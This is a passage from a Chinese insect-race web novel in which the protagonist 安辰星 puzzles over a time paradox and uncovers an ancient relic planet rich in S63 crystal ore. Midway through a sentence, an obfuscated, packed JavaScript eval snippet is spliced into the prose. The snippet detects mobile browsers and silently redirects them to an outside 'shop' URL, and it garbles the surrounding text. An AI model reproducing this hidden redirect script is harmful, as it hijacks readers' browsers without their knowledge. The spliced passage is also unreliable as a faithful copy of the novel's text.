第四序列，谁叫你之前不肯背我摘树上的可可果。 在你担心莱伽斯教训你时，可有想过最后反而是我的戏弄先到呢…… 做好心理准备后，第四序列虫忽然弹跳暴起，猛地对眼前的矿堆发起自己最强的一击！ 他已经预见自身骨翼折断的脆响声响起，却没想到居然是“轰隆！”的一声。 只见眼前被他击中的大型矿堆毫无预兆地往内塌陷出了一个巨大口子！ 真的是空心的！怎么可能会有空心的矿堆！？ 第四序列虫愣着表情落到地面，心中惊讶得连骨翼都忘了收回，他转头看向后方阁下。 俊美的阁下久久凝视着矿堆的缺口出神，轻风拂乱了他的发梢。第四序列虫莫名觉得，阁下此刻的心情应该是怅然的。 感受到雌虫投来的视线，安辰星回视他，又淡淡扯出一抹笑，“感觉怎么样？” 第四序列虫完全意识到自己的错误，不知觉地又屈膝跪下，“阁下……” 如果他一开始就选择相信阁下，就不会有想要以此表忠的行为。 美丽的阁下只是轻叹，“起来，我说了我没有那么传统。” 这座矿堆是星辰号的原料之一。 当初安辰星为了打造一艘最完美星辰号，特地削去了矿堆外层那些长期暴露在空气中的次一级材料，只使用了内部的纯净晶矿。 如今矿堆变成了空心的，便意味着星辰号也和他一样，完全被抹去了过去的痕迹。 此行的目的已经达到，安辰星重新戴好面罩和兜帽，不欲逗留，“第四序列，我们回去了。” “是。” ———— 战舰的外壳被第四序列虫切换到了透明的观景模式，无论安辰星从哪个角度往外看，都能看见无尽的繁星萦绕。 时光真的能倒流吗？ 传说级[特能]真的能凌驾于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13058267|137607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宇宙物理法则之上吗？ 安辰星怎么想都觉得不可思议。 他又感觉到深深的不公。 若那时的人类能够具备这种能力，又何须苦苦挣扎上几个世纪？ 安辰星没有让自己在情绪中沉寂太久，因为他不得不再次面临那个待解决的问题——出生悖论。 即如果没有造虫安辰星，便不会有特等安辰星，又谈何回到过去。 同理如果没有那堆晶矿材料，便不会有星辰号，也无法回到过去。 安辰星仔细地思索，却在每每将要呼之欲出之际又仿佛被蒙上了一层薄薄的灰雾一般思绪中顿。 是他思考的方向不对么？ 安辰星开始有些后悔自己以前对[时光倒流派]的疯狂教义了解得太少。 ———— 圣彼西科首序殿的隐蔽一角。 佐·莱伽斯停下脚步，声色平淡，“就这吧，如果你是一只合格的安全虫，就应该知道监视科的仪器是纠缠在阁下的身上而不是其他。” 劳伦生自然明白此处是不会有监控的，只是他刚离了阁下，整只虫还处于神经质的状态，“少将，事关阁下，我们还是再走远些。” 若不是想到这虫极有可能是佑的一步棋，莱伽斯的耐性早就耗尽了，“不要以为自己的举动能对佑的安排造成什么决定性影响，你的一切，包括现在的反应都在他的考量之下，我这么说你明白吗？” 劳伦生听罢如梦惊醒。 是啊，佑阁下的想法不是他能参透的，或许佑阁下根本就不在意他与少将的这场对话是否会被探知。 于是他终于下定决心把话说了出来，“阁下曾言，‘诉于星辰，星辰不变’。” 听到“星辰”二字，莱伽斯心中微微一顿，联想了很多。 他问劳伦生，“这是全部？” “全部。” “我知道了。”莱伽斯转身准备离开。 “少将。”劳伦生又突然喊住他。 莱伽斯回头，冷淡地问，“还有事？” “您能告诉我阁下的眼瞳是什么颜色的吗？是否与您一样？” 莱伽斯眉头一皱，重新转过身来，目光有如实质地上下打量劳伦生一番。 双S，实在一般。 莱伽斯冷漠地问，“你之前说你姓什么？” 劳伦生没有多想问题的喻意，“沃兹。” “沃兹？在主星大家族序列排名第几？” 劳伦生愣住，讪讪开口，“四十五。” 莱伽斯当场发出一声嗤笑，明摆着瞧不上，又问道，“你掌什么职能权限？” 劳伦生心里开始发憷，“……我刚适龄就进了安全部，还未考取职能……” 莱伽斯脸色一凝，这回连嘲笑都没有了，最后问，“那你在安全部排第几序？” 劳伦生彻底不敢说话了。 莱伽斯见状心中窝火，觉得这样的垃圾虫都敢肖想佑简直就是一种变相的侮辱，“等级、家族、权限、部署，你竟然没有一个能拿得出手，还有什么脸面在我面前问佑的消息？感谢圣彼西科内禁止雌虫斗殴吧，否则我今天定要先卸了你一对骨翼。” 33. 永动遗迹 雄核、核窍、雄虫，三者相伴相生，不可分离。 雄核的能源需要由核窍供给，而核窍的稳定需要雄虫源源不断的生命活力。 雄核唯一，永不复制，且不能失去，失去雄核的雄虫会速死。 雄虫的核窍被毁，倒不会立即毙命，只是雄核没有了后续的供源，最终还是会逐步衰竭并导向死亡。 这个过程的长短取决于雄虫何时耗尽雄核最后的能源。 据遗失纪史料记载，虫族曾经掌握一项[挖核]的高能技术，能够完整挖出雄虫雄核并保留其活性而不衰竭，以供科研虫们进行研究。 其中最具代表性的，莫过于特能为[穿唯]的传说级阁下的雄核，无论是[空间阶跃]还是[高维袋]的技术理论，都是科研虫们在日夜研究它的基础上而取得突破的。 如果要让安辰星为上一世的祸乱之始定上一个导火索事件，他一定会说是联邦对于[远行星]的发现。 ———— 欧洛维，双S适龄期雌虫，无联邦背景，无家族背景。 早年他知道自己出身处于劣势，为了提高身价实现快速晋升，他主动参与圣彼西科首序殿安全部的选拔并成功入选，后因其颇有天分的战斗才能，顺利被当时任职安全部第三序列的莱伽斯看中招揽。 欧洛维从不懈怠对自身的严格要求，是安全部中少有的不被特等所迷的雌虫之一，在莱伽斯改任第一总指后，他毫不犹豫便离开了安全部，成了第一总指第五序列，正式将身份镀金成功。 然而，协助布鲁阁下和前科学权限者凯特文转移至远行星，对欧洛维来说并不能算是一件轻松的任务。 雄虫阁下没有虫纹能够强化己身，即便有外形生得高挑的，其体质也和雌虫有着本质上的差别。 更多时候，雄虫只能用雄核对自己进行精神力同调，尽量去消减A级战舰内空间阶跃所带来的不适感。 为什么是A级战舰？因为第一总指旗下唯一一台S级别的造舰就是总指挥舰，莱伽斯少将自然是不可能让给欧洛维的，尤其还是要他完成这么秘密的转移任务。 从整个星系图来看，E86特研星和主星区分别位于同一侧的“五环”和“七环”左右的位置，而远行星却位于相对一侧“八环”左右的位置。为避免由于过于接近星系中心的引擎黑洞而引发严重的钟慢效应，第五序列欧洛维只能选择绕远路，所以空间阶跃的总次数又不得已地增加了。 得益于两年来丰富的接触经验，布鲁的精神力控制精度远超同级，大多数时刻，精神力同调足以让他勉强适应路途的频繁阶跃，实在疲惫的时候他们就暂时停下进行休息调整，如此反复。 终于，在舰内耗时4个月、合计400多次的阶跃后，三虫顺利抵达了远行星。 然而战舰还未落地，凯特文就从显示荧幕中认出了这颗行星地表上覆满的晶矿，“天啊，这是S63！” 他太熟悉这个了，哪怕已经过去两百多年，他也依然记得这类晶矿曾给自己带去的荣光。 当年他意气风发，靠着研究S63的成果取得科学权限，又机缘巧合被主星的坎贝尔家族选中，成为当时还是家族雄虫的布鲁阁下的特聘教虫，此后两虫结缘，情愫暗生…… 布鲁闻言看向荧幕，想起临走前安辰星跟他要走那条项链的情景。 “可是这怎么可能？”凯特文的表情难以置信。 如果只是看见S63晶矿，他还不至于如此惊讶，他真正惊讶的是这里S63晶矿的储量。 要知道，仅仅300星吨S序列材料的诞生，就足以榨干一颗中等质量大小矿星的一切！ 所以被评为S级的材料，即便放眼整个星系，都可以说是相当稀有的。 很快，凯特文就激动起来，拥住了布鲁，“阁下，若不是亲眼看见，我绝不会相信这样一颗中等偏小的行星竟然可以产生如此密集分布的S63矿堆！我甚至现在就想直接钻入地心，看看究竟是怎样的内部构造，才能实现这般不可思议的能源转化率！” ———— 安辰星不去想也不好奇，莱伽斯和卡帕塔要求自己私下给三台战舰搭建[多次连续阶跃技术]的目的是什么。 反正左右不过是为更大的利益，更多的权利，更高的地位。 在联邦主厦公开了第一总指[多次连续阶跃技术]试乘成功的消息后，安辰星一时间名声大噪，名门家族的宴会邀请也纷至沓来，甚至有不少雄虫阁下还公开表示对他的仰慕，直言想与他接触，虽然明眼虫都知道其中肯定不纯粹，但安辰星[天才双权限亚雌]的称呼算是彻底打响了。 然而，如此炙手可热的安辰星却一反虫族常态，在参与[科学总院升序仪式]和[联邦表彰大会]之后就再也没在公开的场合露面，如同失踪了一般，就连他的两位前辈同僚也对此不甚清楚或闭口不谈。 如果那些虫知道这位才华横溢的新星亚雌此刻竟在第一总指莱伽斯少将的私宅后院里没日没夜地工作，恐怕是要惊掉眼珠子。 “你可以休息。” 在亚雌连续高强度给战舰装备技术的第二个星周，金发雌虫终于主动走进后院搭话，“我记得我并没有催促你。” “无碍，我做事就是这样。”安辰星手中动作不停，头也不抬。 片刻后，他忽然感觉袋中智脑震了一下，掏出一瞧，竟然是莱伽斯给他转了S级阁下的接触卡！而且足足有四张！ 安辰星终于抬头望去，“长官，你这是何意？” 联邦每张S级阁下接触卡都价值连城，这位军官无事献殷情，总不会是想临时加码要什么好处吧…… 只听雌虫淡淡说道，“送你的，你为我做的事完全值这个价。” 安辰星秒懂，动动手指一番操作，直接把卡退了回去，说，“我只是造虫，没有你们那些意识痛，这些卡在我这里作用不大。” 他想想又补充道，“我的要求之前已经提了，你要是真想感谢我，后面就好好履行我们的溶血合同。” 莱伽斯一眼扫过自己腕上智脑，心中不是很意外亚雌的做法，声线平静，“联邦公示的6位适龄特等，每一只都比阁下璃拉美貌。” 安辰星抬起眉，“你想说什么？” “我觉得以你的能力，如果被一只雄虫绊住了脚，实在太过可惜。” 原来，莱伽斯已经得知亚雌打算直接花掉55亿奖赏额度买下一个星区上缴联邦，仅仅是为给璃拉一个家族雄虫的身份。 安辰星闻言愣了愣，生出了一点兴趣，“最开始不是你们让他来引诱我的么，怎么，我对他好有什么问题吗？” 他想不出这位长官是什么动机。 难道是惜才？ 呵，真是受不了，这便是身居高位者自以为是又共通的坏毛病。 果然，金发长官说，“我能理解你在E86无雄环境中停留太长时间，以至于对来主星后的首次接触雄虫产生了很深的感情，但这只是一时的错觉，只要见过更好的，你很快就能冷静下来。” 安辰星轻笑着放下手中器材，反讽地用起了敬语，“那么长官，您是觉得我哪个行为做得不妥？” 莱伽斯并不在意他这般语气，因为优秀的虫才，是完全配有傲气的，“如果你意识到55亿的奖赏额度与一个优秀星区足以让你发展出一个常住权限者过万的势力，你就会知道把它尽数浪费在一只雄虫的身上有多么不可取。” “嗯，原来如此。”亚雌受教般地点头，又突然反问，“可是然后呢？” 金发长官一愣。 听见造虫接连发问，“继续像一颗龟龟树一样埋头经营？向联邦申请雄虫坐阵星区？从第一只开始，接着第二只第三只？然后再进一步增加权限者？慢慢把常住规模扩大到十倍百倍？但是就算做到那样又能怎么样呢？” 安辰星神色显露不屑，“光是想想都觉得没意思极了，不过是一只又一只被联邦规则束缚住的可怜虫罢了。” 啊。 佐·莱伽斯薄唇微微张开，终于明白造虫看似好说话外表下的真实本质——无所谓如何。 一般虫所渴望的事物在他眼里不具备吸引力。 想要让他心甘情愿追随自己，就必须找到他真正在乎的东西。 莱伽斯又看见造虫一双漂亮到有些犯规的诡谲异色眼扫视过来，仿佛已经将自己看穿，又仿佛在明言拒绝，“长官，这个世界上，唯有自由的灵魂无价，我一定会自由，我身边的虫也一样。” ———— 费米德星区，第一娱乐星，月夜殿堂。 安辰星拉开房间门的时候，发 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至于坦言自身的经历，安辰星也不是没有考虑过，但不可行。 且不说他自己都没想明白自个的[特能]是怎么回事，怎么解决悖论的问题，更别说有没有虫愿意信了，而且还貌似不小心逆了虫族第一理，犯罪了。 安辰星拉开椅子坐在书桌前，等了一会不见雌虫开口，便自己先说了，“我刚从罗森多回来，你等了多久？” “不久。” “好吧，”安辰星也有点拉不下脸道歉，模棱两可的，“昨晚我心情不太好。” 雌虫静默几星秒，不知想到了什么，说，“我完全没在意。” 又补充，“如果你不需要那些，我以后不会多此一举。” “行，”安辰星干脆地点头，心里一阵轻松，“以后我们正常来就好了。” 安辰星冲雌虫招手示意对方走近，同时拿出自己的笔记本，一边写写画画一边说，“正好你今天来了，我们就谈几件正事，第一，我准备开始给战舰搭载连续阶跃设备，你找个理由把贸易所的[高维袋]借来，然后到远行星运些S63晶矿回这里。” 安辰星强调，“记得这项技术务必对卡帕塔保密，现在的他不仅起不到作用，还被联邦盯得很紧，容易暴露我们。” 莱伽斯向雄虫走近一些，目光落在本子上，心道雄虫的画功真的很差。 安辰星又画了几个雌虫看不懂的符号，“还有就是远行星一定要保护好，绝不能让联邦注意到。” 莱伽斯嗯了一声，听雄虫接着说，“因为它是遗失纪传说级阁下[永动]的遗迹。” 莱伽斯顿时表情变了，“遗失纪传说级遗迹？” “对，这也是远行星能违背常理源源不断产出S序列晶矿的真正原因。当初[永动]逃出雌虫大叛乱主战场，和几位忠雌躲避到远行星生活，最后在临终前自挖雄核置于地心之中形成[永动]遗迹。”安辰星缓缓道来，“一旦远行星被联邦察觉，那么远古的[挖核]技术将重新面世，首序殿的那一位就危险了。” 莱伽斯想起智能机械“虫”影片中的内容，知道在雄虫的记忆中，这些应该都是发生过了的事情。在短暂的沉默过后，他开口，“好，我会注意。” 安辰星点头，合上笔记本看向他，“我就这些了，你找我有什么事？” “佑有话带给你。” 那一位？安辰星扬了扬眉，这倒在他的意料之外，“是什么？” 莱伽斯说，“诉于星辰，星辰不变。” 星辰不变？安辰星垂眸思索其中含义，突然脸色一白，毛骨悚然的感觉遍布了全身四肢，手中的笔也不自觉掉落在桌面。 他的[特能]不是作用在自己身上，而是作用于外界！ 不是他回到了过去。 是他将除了自己和星辰号之外所有的一切都逆回到了过去某一时刻的状态！ 真实的时间其实是一直往前走的，只是无法被生灵感知到。 安辰星闭上眼，平复自己的激荡的心跳。 逆回宇宙的力量？ 他不知道这是否比单纯的时光倒流还要可怕。